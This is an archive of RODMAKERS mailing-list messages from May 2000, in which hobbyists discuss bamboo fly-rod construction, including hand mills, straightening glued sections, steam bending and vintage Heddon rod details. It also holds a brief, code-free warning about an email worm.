mcanultj@svm.vetmed.wisc.edu wrote:I have a question on the handmill. Do the cutters sit at an angle to the work surface the same as a plane iron or are they perpendicular (more or less) to the surface like a scraper? I'm sure the obvious answer is like a plane iron but I just wanted confirmation. Thanks.Jon from Canerods@aol.com Thu May 18 19:29:05 2000 Subject: Help with corrosion problem? All, I just won a 9' Heddon #35 on eBay (please no stone throwing ) and ithas the somewhat rare uplocking reelseat. The buttcap is glued to the plastic thread section on this type of Heddon, so removing the buttcap seems impossible without damaging the buttcap. The reason I want to remove the buttcap is that the threaded NS movable nut (knurled) is corroded. Ithought if I removed the nut that I could buff the corrosion away. I'd use my metal polishing Nevr-dull cotton wadding if it wasn't knurled. Does anyone know of a safe method to remove green corrosion withoutdamaging the plastic under this nut? Don Burns from Canerods@aol.com Thu May 18 21:54:28 2000 Subject: Re: Old style ferrules In a message dated 5/17/00 8:02:47 PM Pacific Daylight Time, mstevens@ptdprolog.net writes: Don is thinking about Heddon Fly Rods and I think is right but Heddon diduse the stepped down female on some casting rods, like the Heddon#400. Mike Yes, this is true. Don Burns from Canerods@aol.com Thu May 18 21:55:06 2000 Subject: Re: Old style ferrules In a message dated 5/17/00 6:20:46 PM Pacific Daylight Time, nobler@satx.rr.com writes: Sorry Don, as I have a Heddon #400, with a Monty type "coke bottle"femaleferrule, in that the female necks down. It still had the originalmaroon/purple wraps with green trim when I got it ! This one has theangledHeddon signature, but no bass decal. They are N.P. B., just like a cheapMonty too ! GMA Yeah, I own a Heddon baitcaster too - I guess I meant to say Heddonflyrods. Speaking of which, I need a 9' Heddon 2-1/2F higher end rod mid-section. Anyone got one FS? Don from BambooRods@aol.com Thu May 18 22:07:50 2000 Subject: A Question in Theory Straightening! What is the main source of "crooked" sections? Is the largest villain the binder? If we make sections that are planed properly does the problem arise with inconsistent pressure on glace? Poorly hung after wrap? Thoughts? from mikeg@micronet.net Thu May 18 22:25:08 2000 (EudoraInternet Mail Server 2.2.2); Thu, 18 May 2000 19:25:05 -0800 Subject: Re: Working in South China, Wanna Build rods Wayne Cattanach has 2 web sites.old sitehttp://members.aol.com/waynecatt/index.html new sitehttp://www.wcattanachrodco.com/ From: nthawk@worldinter.net Subject: Working in South China, Wanna Build rods Best Regards,Don Schepis from channer1@rmi.net Thu May 18 22:46:34 2000 Subject: Re: A Question in Theory BambooRods@aol.com wrote: Straightening! What is the main source of "crooked" sections? Is thelargest villain the binder? If we make sections that are planed properlydoes the problem arise with inconsistent pressure on glace? Poorly hungafter wrap? Thoughts? I think my biggest problem was too much weight on the binding cord andtoo much thread tension. After that i would say cleaning the glue offright after binding was the biggest contributor to crooked sections.Mine still arent' perfectly straight, but lots better now. from rsgould@cmc.net Fri May 19 00:10:44 2000 Subject: Re: A Question in Theory There are several key places in the assembly process that can contributetocrooked sections. My preference to minimize the problem is to use a 4stringbinder with each thread set at 3/4lb tension measured with a spring scaleand then run a dummy blank thru the bider to "tweak the tension devices"sothat the blank does not roll as it is pushed thru the binder. Then after thesection is glued and bound, place it in a "tensioner" (2 drill chucksmounted on a base plate) so that the section can be placed under tension topull it sraight and also to remove any slight twists. The rod section isthen stored upright while under tension while the glue sets up.Ray----- Original Message ----- Subject: A Question in Theory Straightening! What is the main source of "crooked" sections? Is thelargest villain the binder? If we make sections that are planed properlydoes the problem arise with inconsistent pressure on glace? Poorly hungafter wrap? Thoughts? from chris@artistree.com Fri May 19 00:59:50 2000 Subject: Re: A Question in Theory Ray,I just wanted to say that your "tensioner" device one of the simplestyet most effective tools for rod building I come across in years. Can'tthank you enough for sharing it. Also, you're right on the money abouthanging it upright as well. Especially if you hollow build.-- Best Regards, Chris Wohlfordemail: chris@artistree.com Ray Gould wrote:..... Then after thesection is glued and bound, place it in a "tensioner" (2 drill chucksmounted on a base plate) so that the section can be placed under tensiontopull it sraight and also to remove any slight twists. The rod section isthen stored upright while under tension while the glue sets up.Ray from danny.twang@porsgrunnsdagblad.no Fri May 19 03:56:58 2000 Subject: ******WARNING NEW VIRUS****** 0388BE5E4BC6D7E43E2C00C1" --------------0388BE5E4BC6D7E43E2C00C1 A new virus have arrived! It is similar to ILOVEYOU, but more powerful. The worm spreads itselfvia the address book,and it send itself to all an the book. The subject is "Servus Alter!" and the name of the virus is "SouthPark" danny --------------0388BE5E4BC6D7E43E2C00C1 A new virus have arrived! It is similar to ILOVEYOU, but more powerful. The worm spreads itselfvia the address book,and it send itself to all an the book. virus is "South Park" danny --------------0388BE5E4BC6D7E43E2C00C1-- from k5vkq@ix.netcom.com Fri May 19 04:11:59 2000 Subject: Re: A Question in Theory My solution to straightning is to address it completely through theconstruction process. I found that in my case, each step contributed aboutthe same amount of un-straightness to the finished blank. I try to get thestrips as straight as practical before I plane. During the planingprocess, I straighten as necessary. I lace the strips together rather thanuse masking tape so effectively I bind twice. I apply glue and lace thestrips together. Then I remove the excess glue (Epon) with a clothdampened with acetone (or vinegar). Then I straighten. Then I bind with a4 thread Milward binder and I straighten again. I fasten a paperclip intoa "U" and wrap one on each end of the blank with binding thread so the "U"stradeles the end of the blank. I then straighten again. I hang it from ahook on the ceiling and hang a weight from the other end. It's veryimportant to have the weight pulling straight down; ie. the force vectorshould be parallel with the rod. If I pay close attention to every step,I've found I need to do very little straightning. Regards,Onisk5vkq@ix.netcom.com At 11:07 PM 5/18/00 EDT, you wrote:Straightening! What is the main source of "crooked" sections? Is the largest villain the binder? If we make sections that are planed properly does the problem arise with inconsistent pressure on glace? Poorly hung after wrap? Thoughts? from KlingB@health.missouri.edu Fri May 19 06:22:22 2000 Subject: RE: Handmill Survey Results Day 2 Rick - The hand mill is no more a machine than a block plane. It's just a rig forholding cutters/blades and a bamboo strip in the right positions forbeveling. The same can be said about a form and plane. You do the cuttingbyhand in both cases. The mill is an elegant design and is very precise but itis surely a hand tool. If the hand mill is too much technology for you thenI'd suggest you also ditch your highly tempered modern steel blades,precision depth gauge, etc., and go back to the rodmaking techniques usedbyus real men - we gnaw a culm until it's just right. Have fun - Barry -----Original Message----- Sent: Thursday, May 18, 2000 8:49 AM Subject: Handmill Survey Results Day 2 We have another 4 respondants to the survey. That bringsthe totalnumber of Handmill owners on this list (who are willing tolet us know)to 19. I understand that Mr. Morgan has sold from 40 to 60 units.He makesthem in batches so that one respondant has estimated thetotal close to60. I also had an interesting post from a lister who disagreedthat the millwas an outstanding value. Not that he didn't agree that themachine wasvery nice and well made. Also, not that he didn't agreethat themachine warranted it's price for the amount of machining andlabor thatwent into it. His estimation was made based on the factthat he builtseveral nice powered bevelers, the best of which cost him$950. Heclaims that they are accurate, quick and not difficult tomake. My brain hurts now. I still want a Handmill, but I think Iwant it justto own it. I'm not sure how long they will be produced andI'd like tohave it in my back pocket. But when I think about running abeveler tomake my rods, I have to go back to why I went into this inthe firstplace - which is to find a sense of accomplishment andsatisfaction inthe learning of a real handcraft which produced a very, veryfine tool Thanks to all who responded. Good fishing and good planing! Rick C. from earsdws@duke.edu Fri May 19 06:50:35 2000 HAA18045; Subject: Straightening Folks,I am wondering why a simple piece of angle iron couldn't be used to"straighten" the glued blank: After gluing and binding, simply roll theblankthen set it in corner of the angle iron to dry. It should be as straight asthe angle iron. You could set it on a piece of waxed paper placed on theironif you're concerned about adhesion to the metal and/or place a secondpiece ofangle iron on top of the blank if you wanted to ensure straightness. Am Imissing something here? Any suggestions/discussion would be welcomeas I amwithin a few days of gluing up my first blank.Thanks and regards, dws. Onis Cogburn wrote: My solution to straightning is to address it completely through theconstruction process. I found that in my case, each step contributedaboutthe same amount of un-straightness to the finished blank. I try to getthestrips as straight as practical before I plane. During the planingprocess, I straighten as necessary. I lace the strips together rather thanuse masking tape so effectively I bind twice. I apply glue and lace thestrips together. Then I remove the excess glue (Epon) with a clothdampened with acetone (or vinegar). Then I straighten. Then I bind witha4 thread Milward binder and I straighten again. I fasten a paperclip intoa "U" and wrap one on each end of the blank with binding thread so the "U"stradeles the end of the blank. I then straighten again. I hang it from ahook on the ceiling and hang a weight from the other end. It's veryimportant to have the weight pulling straight down; ie. the force vectorshould be parallel with the rod. If I pay close attention to every step,I've found I need to do very little straightning. Regards,Onisk5vkq@ix.netcom.com At 11:07 PM 5/18/00 EDT, you wrote:Straightening! What is the main source of "crooked" sections? Is thelargest villain the binder? If we make sections that are planedproperlydoes the problem arise with inconsistent pressure on glace? Poorlyhungafter wrap? Thoughts? from dpeaston@wzrd.com Fri May 19 07:22:38 2000 Subject: Folsum #1615 (Heddon)Wraps All, I just finished stripping a Folsum #1615 which had multiple coats ofvarnish with serious melt down. I had thought that the wraps were areddish(rusty) tan with gold tipping. When I began unwrapping I discovered thatthe thread was a light purple. I wrapped this thread around a spare blank,color preserved and finished it. I turns out to be a royal purple. Doesanyone know what the wraps look like on the original? The ferrules on this rod are like those on the Heddon #10 (NS, rolled welt,serrated,bright). The handle and reel seat are high grade (UL,cedar/pyralin NS finished bright). Does anyone know about the history oflower grade Heddon Folsums? Thanks,-DougDoug EastonTonawanda, NY from BigJohn47@aol.com Fri May 19 07:39:37 2000 Subject: finish question does anyone use tru-oil as a finish on bamboo rods.it works great on gun stocks.just wondering ? from SSteinzor@atg.state.vt.us Fri May 19 08:57:18 2000 Fri, 19 May 2000 09:55:36 -0400 rodmakers@wugate.wustl.eduSubject: RE: A Question in Theory I would have to say that the main source of crookedness is bamboo, just asin furniture-making the main source of warping is wood. Its inherent inthematerial. If you handle it properly you minimize the problem. By the way,I just discovered that heating your glued blank over a steaming tea kettlewhile applying gentle but firm corrective pressure is a great way toremovelong twists and sweeps. About 30 seconds of this and then remove it fromthe steam and hold it while it cools and presto - nice and straight. Makesme wonder why I bothered buying a heat gun. -----Original Message-----From: BambooRods@aol.com [SMTP:BambooRods@aol.com]Sent: Thursday, May 18, 2000 11:07 PM Subject: A Question in Theory Straightening! What is the main source of "crooked" sections? Is the largest villain the binder? If we make sections that are planed properly does the problem arise with inconsistent pressure on glace? Poorly hung after wrap? Thoughts? from Canerods@aol.com Fri May 19 09:17:00 2000 Subject: Re: Folsum #1615 (Heddon)Wraps The #1515 is listed in the Sinclair Heddon book as being the same as aHeddon #14 and sold for $15. Heddon #14's have chinese red wraps with/withoutblack tipping depending upon mfg. era. Some #14's had wood reelseats. I assume that a #1615 is of the same quality level, but don't see it listed. Don Burns from earsdws@duke.edu Fri May 19 09:21:31 2000 KAA29073; rodmakers@wugate.wustl.eduSubject: Heat gun Vs. steam boundary="------------F30A4859704E5E39D6B4183B" --------------F30A4859704E5E39D6B4183B Seth,As I understand the process of bending wood with steam, it isessentiallythe same process/mechanism as bending with dry heat, with thedifference beingthat steam is simply a much more effective mechanism for transmittingthenecessary heat to the bamboo (whatever material you wish to bend). Inthiscase, for those of us partial to "blonde" rods, steam has the addedadvantage ofnot darkening the bamboo. For a very detailed discussion of how to bendwoodwith steam, see the most recent issue of Classic Boating magazine.dws. Seth Steinzor wrote: I would have to say that the main source of crookedness is bamboo, justasin furniture-making the main source of warping is wood. Its inherent inthematerial. If you handle it properly you minimize the problem. By theway,I just discovered that heating your glued blank over a steaming teakettlewhile applying gentle but firm corrective pressure is a great way toremovelong twists and sweeps. About 30 seconds of this and then remove itfromthe steam and hold it while it cools and presto - nice and straight. Makesme wonder why I bothered buying a heat gun. -----Original Message-----From: BambooRods@aol.com [SMTP:BambooRods@aol.com]Sent: Thursday, May 18, 2000 11:07 PM Subject: A Question in Theory Straightening! What is the main source of "crooked" sections? Is thelargest villain the binder? If we make sections that are planedproperlydoes the problem arise with inconsistent pressure on glace? Poorlyhungafter wrap? Thoughts? --------------F30A4859704E5E39D6B4183B Seth, steam, it is essentially the same process/mechanism as bending with dryheat, with the difference being that steam is simply a much moreeffectivemechanism for transmitting the necessary heat to the bamboo (whatevermaterial most recent issue of Classic Boating magazine. Seth Steinzor wrote:I would have to say that the main source ofcrookednessis bamboo, just as inherentin the I just discovered that heating your glued blank over a steaming teakettlewhile applying gentle but firm corrective pressure is a great way toremove removeit fromthe steam and hold it while it cools and presto - nice and Makesme wonder why I bothered buying a heat gun.-----Original Message----- From: BambooRods@aol.com [SMTP:BambooRods@aol.com]Sent: Thursday, May 18, 2000 11:07 PM Is the planedproperly Poorly hung from 76250.1771@compuserve.com Fri May 19 09:52:44 2000 Subject: Help with corrosion problem? Rodmakers Don-You can try using a toothbrush w/ Gorham silver polish or Simichrome or a similar metal polish. You should be able to get the corrosion off if it'snot too bad and the plastic wouldn't be scratched. Best,Dennis from avyoung@iinet.net.au Fri May 19 10:30:57 2000 Fri, 19 May 2000 23:29:23 +0800 Subject: Re: Heat gun Vs. steam ,rodmakers@wugate.wustl.edu hotter than 100c (boiling point of water) so be careful out there.I wonder what the steam does to the heat treating though? You can do some pretty amazing things with enough wet steam if you wanttoput bends into wood. The first day on the job as an apprentice boat builderthe yard made a huge steam box about 60 feet long into which there wasplaced what was to become the keelson for a traditional yacht needingalmost total refurbishment and the owner didn't want any of that "bloodyepoxy sh!t" used on it so laminating it was out of the question even usingresorcinol, it was the height of Summer in Brisbane and it would havebeencuring faster than we could have applied it to the laminations unless 30 orso people were on the job. To heat it all we burned 15 or so rail waysleepers or ties I think you'd call them, the big bits of wood the tracksare kept in place with and a garden hose was kept running into thecontraption. After it steamed away for a few hrs the entire crew at theyard removed it from the box and ran to the form that was used to moldthekeelson. It was a hell of a bend the keelson had to make but this 8" x 10"just flopped onto the mold and we made sure it was fair. Took a few daystodry and it just kept it's shape. Amazing thing to do considering the scaleof it all. Until I saw it I wouldn't have even thought such a large peiceof clear hardwood was even possible to buy. Tony/*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html Praise not boots till they're worn, a rod till it's cast nor a stream tillit's fished. /*************************************************************************/ from Patrick.Coffey@PSS.Boeing.com Fri May 19 10:46:11 2000 IAA28200 ESMTP for rodmakers@wugate.wustl.edu;Fri, 19 May 2000 08:45:55 -0700 (5.5.2650.21) Subject: steam bending While working as a luthier we made steamer for bending rosewood, spruceand willow. The pieces were 5mm by15mm, much thicker and wider the the split strips for making flyrods, andturned them in to super limp piecesof wood. We took and old pressure cooker that we got at starvation armyand put a pressure relief valve wherethe pressure gage connected and held the pieces in the hot stream ofsteam coming out of the pressure reliefvalve. In a matter of a few minutes the rosewood became so limp that youcould tie it in a knot. The higherthat you raise the steam pressure the hotter the temperature gets and thefaster it penetrates to the core ofwhat ever you are trying to bend. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 from dpeaston@wzrd.com Fri May 19 11:57:51 2000 Subject: Re: Folsum #1615 (Heddon)Wraps At 10:16 AM 5/19/2000 EDT, Canerods@aol.com wrote:The #1515 is listed in the Sinclair Heddon book as being the same as aHeddon #14 and sold for $15. Heddon #14's have chinese red wraps with/withoutblack tipping depending upon mfg. era. Some #14's had wood reelseats. I assume that a #1615 is of the same quality level, but don't see itlisted. Don Burns Don, Looking at Sinclairs book I pegged this as being a #20 but with bright NSRW ferrules instead of the GM NS HW feuurles on the #20. Except for theferrules this rod looks a lot like my #34 Peerless. It is a 9' 2F and castsa #5-6 Wulff TT like a champ! Thanks,-Doug Doug EastonTonawanda, NY from caneman@clnk.com Fri May 19 12:16:45 2000 (Post.Office MTA v3.5.3 release 223 ID# 0-61365U2500L250S0V35)with SMTP id com; Fri, 19 May 2000 12:12:28 -0500 "Rod Makers List Serve" Subject: Re: steam bending Patrick,Absolutely a great way to bend any kind of organic, wood and bambooincluded. I used to soak the straight sides of a violin, and shape thenaround a bending iron, which was actually nothing more than a piece ofsmoothe pipe heated from the inside by a torch. When you run the woodagainst the pipe, the water in the wood steams off making it pliablebeyondbelief.As far as straightening bamboo rods with steam... I do have a concern,and maybe someone has some insight or a solution to it. After I get a rodglued up, I do my best to keep it in a tube with silica gel to keep all themoisture out that I can until I get it varnished. Concern is, how muchmoisture is going to get reintroduced to the glued up blank whilestraightening it with steam? AND, will dessicant remove thereintroducedmoisture in a reasonable amount of time, or would another session at alowertemp in the heat treating oven be better? Bob-----Original Message----- Subject: steam bending While working as a luthier we made steamer for bending rosewood,spruce andwillow. The pieces were 5mm by 15mm, much thicker and wider the thesplitstrips for making flyrods, and turned them in to super limp pieces ofwood.We took and old pressure cooker that we got at starvation army and put apressure relief valve where the pressure gage connected and held thepiecesin the hot stream of steam coming out of the pressure relief valve. In amatter of a few minutes the rosewood became so limp that you could tieit ina knot. The higher that you raise the steam pressure the hotter thetemperature gets and the faster it penetrates to the core of what ever youare trying to bend. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 from Patrick.Coffey@PSS.Boeing.com Fri May 19 12:24:16 2000 MAA02648 ESMTP; Fri, 19 May 2000 12:24:03 -0500 (5.5.2650.21) "'Bob Nunley'" Subject: RE: steam bending I'm just going to straighten my strips with steam before heat treating.The straighter the strips, all otherthings considered, the straighter the rod section. I personally wouldn't usemoisture to straighten out aglued up blank for fear of moisture invasion. Wood takes a day to absorbmoisture and weeks to loose it airdrying, I'm assuming bamboo is similar. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 ----------From: Bob Nunley[SMTP:caneman@clnk.com]Sent: Friday, May 19, 2000 10:14 AM Subject: Re: steam bending Patrick,Absolutely a great way to bend any kind of organic, wood and bambooincluded. I used to soak the straight sides of a violin, and shape thenaround a bending iron, which was actually nothing more than a piece ofsmoothe pipe heated from the inside by a torch. When you run the woodagainst the pipe, the water in the wood steams off making it pliablebeyondbelief.As far as straightening bamboo rods with steam... I do have a concern,and maybe someone has some insight or a solution to it. After I get a rodglued up, I do my best to keep it in a tube with silica gel to keep all themoisture out that I can until I get it varnished. Concern is, how muchmoisture is going to get reintroduced to the glued up blank whilestraightening it with steam? AND, will dessicant remove thereintroducedmoisture in a reasonable amount of time, or would another session at alowertemp in the heat treating oven be better? Bob-----Original Message-----From: Coffey, Patrick W Date: Friday, May 19, 2000 11:09 AMSubject: steam bending While working as a luthier we made steamer for bending rosewood,spruce andwillow. The pieces were 5mm by 15mm, much thicker and wider the thesplitstrips for making flyrods, and turned them in to super limp pieces ofwood.We took and old pressure cooker that we got at starvation army and put apressure relief valve where the pressure gage connected and held thepiecesin the hot stream of steam coming out of the pressure relief valve. In amatter of a few minutes the rosewood became so limp that you could tieit ina knot. The higher that you raise the steam pressure the hotter thetemperature gets and the faster it penetrates to the core of what everyouare trying to bend. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 from earsdws@duke.edu Fri May 19 12:52:59 2000 NAA12555; Subject: Re: steam bending boundary="------------D0F5E69FB33CD4C24EBFCD86" --------------D0F5E69FB33CD4C24EBFCD86 Patrick,(again) My understanding is that often steam is used to actually drywood. In bending it is not used toget moisture into the wood per se, but rather simply as a vehicle forgetting the heat into the wood in themost efficient manner (see the most recent Classic Boating magazine,which offers an almost excruciatingdiscourse on the bending of differentconditions, i.e., woods of varying % water content). Since heat is moreeffectively transmitted viasteam/moisture into the wood, it more efficiently plasticizes the woodfibers, allowing easier bending. So,it permits more heat to reach the fibers to be bent, without concern overcharring the wood.dws. "Coffey, Patrick W" wrote: I'm just going to straighten my strips with steam before heat treating.The straighter the strips, all otherthings considered, the straighter the rod section. I personally wouldn't usemoisture to straighten out aglued up blank for fear of moisture invasion. Wood takes a day to absorbmoisture and weeks to loose it airdrying, I'm assuming bamboo is similar. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 ----------From: Bob Nunley[SMTP:caneman@clnk.com]Sent: Friday, May 19, 2000 10:14 AM Subject: Re: steam bending Patrick,Absolutely a great way to bend any kind of organic, wood and bambooincluded. I used to soak the straight sides of a violin, and shape thenaround a bending iron, which was actually nothing more than a piece ofsmoothe pipe heated from the inside by a torch. When you run the woodagainst the pipe, the water in the wood steams off making it pliablebeyondbelief.As far as straightening bamboo rods with steam... I do have aconcern,and maybe someone has some insight or a solution to it. After I get arodglued up, I do my best to keep it in a tube with silica gel to keep all themoisture out that I can until I get it varnished. Concern is, how muchmoisture is going to get reintroduced to the glued up blank whilestraightening it with steam? AND, will dessicant remove thereintroducedmoisture in a reasonable amount of time, or would another session at alowertemp in the heat treating oven be better? Bob-----Original Message-----From: Coffey, Patrick W Date: Friday, May 19, 2000 11:09 AMSubject: steam bending While working as a luthier we made steamer for bending rosewood,spruce andwillow. The pieces were 5mm by 15mm, much thicker and wider the thesplitstrips for making flyrods, and turned them in to super limp pieces ofwood.We took and old pressure cooker that we got at starvation army and putapressure relief valve where the pressure gage connected and held thepiecesin the hot stream of steam coming out of the pressure relief valve. In amatter of a few minutes the rosewood became so limp that you couldtie it ina knot. The higher that you raise the steam pressure the hotter thetemperature gets and the faster it penetrates to the core of what everyouare trying to bend. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 --------------D0F5E69FB33CD4C24EBFCD86 Patrick, moisture into the wood per se, but rather simply as a vehicle forgetting the heat into the wood in the most efficient manner (seethe most recent Classic Boating magazine, which offers an almostexcruciating discourse on the bending of different conditions, i.e., woods transmittedvia steam/moisture into the wood, it more efficiently plasticizes thewood the fibers to be bent, without concern over charring the wood. "Coffey, Patrick W" wrote:I'm just going to straighten my strips with steambefore heat treating. The straighter the strips, all other thingsconsidered,the straighter the rod section. I personally wouldn't use moisture tostraightenout a glued up blank for fear of moisture invasion. Wood takes a day toabsorb moisture and weeks to loose it air drying, I'm assuming bamboo issimilar.Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901 79---------- Nunley[SMTP:caneman@clnk.com] 19, 2000 10:14 AM Serve Patrick, organic, wood and bamboo shape thenaround a bending iron, which was actually nothing more than a pieceof the woodagainst the pipe, the water in the wood steams off making it pliablebeyondbelief. I get a rodglued up, I do my best to keep it in a tube with silica gel to keepall the how muchmoisture is going to get reintroduced to the glued up blank while reintroducedmoisture in a reasonable amount of time, or would another sessionat a lowertemp in the heat treating oven be better? Bob-----Original Message-----From: Coffey, Patrick W <Patrick.Coffey@PSS.Boeing.com> Date: Friday, May 19, 2000 11:09 AMSubject: steam bending While working as a luthier we made steamer for bending rosewood,spruce andwillow. The pieces were 5mm by 15mm, much thicker and wider thethesplitstrips for making flyrods, and turned them in to super limp piecesof wood.We took and old pressure cooker that we got at starvation army andput apressure relief valve where the pressure gage connected and heldthe piecesin the hot stream of steam coming out of the pressure relief valve.In amatter of a few minutes the rosewood became so limp that you couldtie it ina knot. The higher that you raise the steam pressure the hotter thetemperature gets and the faster it penetrates to the core of whatever youare trying to bend. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901 61-79 --------------D0F5E69FB33CD4C24EBFCD86-- from Patrick.Coffey@PSS.Boeing.com Fri May 19 13:09:51 2000 NAA02408 ESMTP; Fri, 19 May 2000 13:09:34 -0500 (5.5.2650.21) "'David W. Smith, Ph.D.'" Subject: RE: steam bending After having bent lots of wood with steam, I have a hard time believingthat article. My experience is thatcellulose fibers are basically sponges and they absorb moisture fromsteam not dry out from it though thedon't absorb as much as soaking in the water as the exposure time isgreatly reduced. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 ----------From: David W. Smith, Ph.D.[SMTP:earsdws@duke.edu]Sent: Friday, May 19, 2000 10:56 AM Subject: Re: steam bending Patrick, (again) My understanding is that often steam is used to actually drywood. In bending it is not used toget moisture into the wood per se, but rather simply as a vehicle forgetting the heat into the wood in themost efficient manner (see the most recent Classic Boating magazine,which offers an almost excruciatingdiscourse on the bending of different conditions, i.e., woods of varying %water content). Since heat is moreeffectively transmitted via steam/moisture into the wood, it moreefficiently plasticizes the wood fibers,allowing easier bending. So, it permits more heat to reach the fibers to bebent, without concern overcharring the wood. dws. "Coffey, Patrick W" wrote: I'm just going to straighten my strips with steam before heattreating. The straighter the strips, allother things considered, the straighter the rod section. I personallywouldn't use moisture to straighten outa glued up blank for fear of moisture invasion. Wood takes a day to absorbmoisture and weeks to loose it airdrying, I'm assuming bamboo is similar. Patrick W. Coffey AOG Incident Repair Planning Phone: 425-234-2901 Fax: 425-237-0083 M-2112 M/C 61-79 ---------- From: Bob Nunley[SMTP:caneman@clnk.com] Sent: Friday, May 19, 2000 10:14 AM Subject: Re: steam bending Patrick, Absolutely a great way to bend any kind of organic, wood andbamboo included. I used to soak the straight sides of a violin, and shapethen around a bending iron, which was actually nothing more than apiece of smoothe pipe heated from the inside by a torch. When you run thewood against the pipe, the water in the wood steams off making itpliable beyond belief. As far as straightening bamboo rods with steam... I do have aconcern, and maybe someone has some insight or a solution to it. After I geta rod glued up, I do my best to keep it in a tube with silica gel to keep allthe moisture out that I can until I get it varnished. Concern is, howmuch moisture is going to get reintroduced to the glued up blank while straightening it with steam? AND, will dessicant remove thereintroduced moisture in a reasonable amount of time, or would another sessionat a lower temp in the heat treating oven be better? Bob -----Original Message----- From: Coffey, Patrick W Date: Friday, May 19, 2000 11:09 AM Subject: steam bending While working as a luthier we made steamer for bendingrosewood, spruce and willow. The pieces were 5mm by 15mm, much thicker and wider thethe split strips for making flyrods, and turned them in to super limp piecesof wood. We took and old pressure cooker that we got at starvation army andput a pressure relief valve where the pressure gage connected and heldthe pieces in the hot stream of steam coming out of the pressure relief valve.In a matter of a few minutes the rosewood became so limp that youcould tie it in > a knot. The higher that you raise the steam pressure the hotter the temperature gets and the faster it penetrates to the core of whatever you are trying to bend. Patrick W. Coffey AOG Incident Repair Planning Phone: 425-234-2901 Fax: 425-237-0083 M-2112 M/C 61-79 from kbuch@mail.stlnet.com Fri May 19 13:20:10 2000 Subject: Please contact Tom Peters, Please contact me offline. Kevin BuchananSt. Louis, MO from Patrick.Coffey@PSS.Boeing.com Fri May 19 13:21:49 2000 LAA14261 ESMTP for rodmakers@wugate.wustl.edu;Fri, 19 May 2000 11:21:30 -0700 (5.5.2650.21) Subject: corbette lake if anybody out there was at corbette lake this year would you contact meoff the list? I forgot something andneed my memory jogged. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 from rmoon@ida.net Fri May 19 13:50:54 2000 0000 Rod Makers List Serve Subject: Re: steam bending BobSomeone, somewhere told me that the cane must contain less than 7%moisture and that the most you could reasonably expect from air dryingwas 10%. I always took this advice at face value as a necessity of heattreating the cane until most of the discernable moisture has been drivenoff. It seems to me self defeating to reintroduce moisture in an effortto straighten mistakes. First of all I am personally convinced that 99%of the kinks twists bends and sweeps are caused by the rodmaker who hasnot taken the time to tune his equipment and learn to use it properly.I spoiled a rod tip the other day that I should not have. I was bindingit by myself and down near the tip I had a blob of masking tape. Itseemed to hard to get off without bending or kinking the rod, so I leftit and bound over it. I found that I not only had a twist in thesection but one of the strips had turned under another and left ahideous gap of about 2". The only one to blame was me, for cuttingcorners.I will not use steam to straighten a rod under any circumstances andI think that anyone who does is asking for problems. One more thing, Idoubt if your dessicant will draw moisture from the section. Myimpression is that a dessicant will attract water vapor and keep it fomcondensing on the object it is used for.Ralph from horsesho@ptd.net Fri May 19 14:16:07 2000 0000 (204.186.211.12) Subject: Re: Straightening David W. Smith, Ph.D. wrote: Folks,I am wondering why a simple piece of angle iron couldn't be used to"straighten" the glued blank: After gluing and binding, simply roll theblankthen set it in corner of the angle iron to dry. It should be as straight asthe angle iron. You could set it on a piece of waxed paper placed on theironif you're concerned about adhesion to the metal and/or place a secondpiece ofangle iron on top of the blank if you wanted to ensure straightness. Am Imissing something here? Any suggestions/discussion would be welcomeas I amwithin a few days of gluing up my first blank.Thanks and regards, dws.DWS, I've often had the the same idea but would use angle aluminuminstead of iron. Glue is less apt tostick to alum. I was going to "marry" two pieces of angle A and drill forbolts and wingnuts so as to make itadjustable. Haven't done it yet though . Best, MartyOnis Cogburn wrote: My solution to straightning is to address it completely through theconstruction process. I found that in my case, each step contributedaboutthe same amount of un-straightness to the finished blank. I try to getthestrips as straight as practical before I plane. During the planingprocess, I straighten as necessary. I lace the strips together ratherthanuse masking tape so effectively I bind twice. I apply glue and lace thestrips together. Then I remove the excess glue (Epon) with a clothdampened with acetone (or vinegar). Then I straighten. Then I bindwith a4 thread Milward binder and I straighten again. I fasten a paperclipintoa "U" and wrap one on each end of the blank with binding thread so the"U"stradeles the end of the blank. I then straighten again. I hang it from ahook on the ceiling and hang a weight from the other end. It's veryimportant to have the weight pulling straight down; ie. the force vectorshould be parallel with the rod. If I pay close attention to every step,I've found I need to do very little straightning. Regards,Onisk5vkq@ix.netcom.com At 11:07 PM 5/18/00 EDT, you wrote:Straightening! What is the main source of "crooked" sections? Is thelargest villain the binder? If we make sections that are planedproperlydoes the problem arise with inconsistent pressure on glace? Poorlyhungafter wrap? Thoughts? from mbiondo@wuacn.wustl.edu Fri May 19 16:18:02 2000 Subject: List Administriva Howdy folks! I would like to alert everyone that Monday morning, May 22nd, there maybesome service interruptions with the RODMAKERS list. The list is beingmoved to a new (and faster) server, and the list software is beingupgradedto the lastest version. Hopefully the transition will go smoothly, and we will experience little,if any disruption... Mike BiondoRODMAKERS Listguy from lars32@gateway.net Fri May 19 17:36:17 2000 Subject: Reed Curry boundary="----=_NextPart_000_0004_01BFC1B9.F2560F20" This is a multi-part message in MIME format. ------=_NextPart_000_0004_01BFC1B9.F2560F20 Just used Reed's baking soda method of stripping an old silk line. = Thanks ReedDave Norling ------=_NextPart_000_0004_01BFC1B9.F2560F20 Just used Reed's baking sodamethod = hundred years. Thanks ReedDave =Norling ------=_NextPart_000_0004_01BFC1B9.F2560F20-- from lars32@gateway.net Fri May 19 17:38:47 2000 Subject: Mildrum Strippers 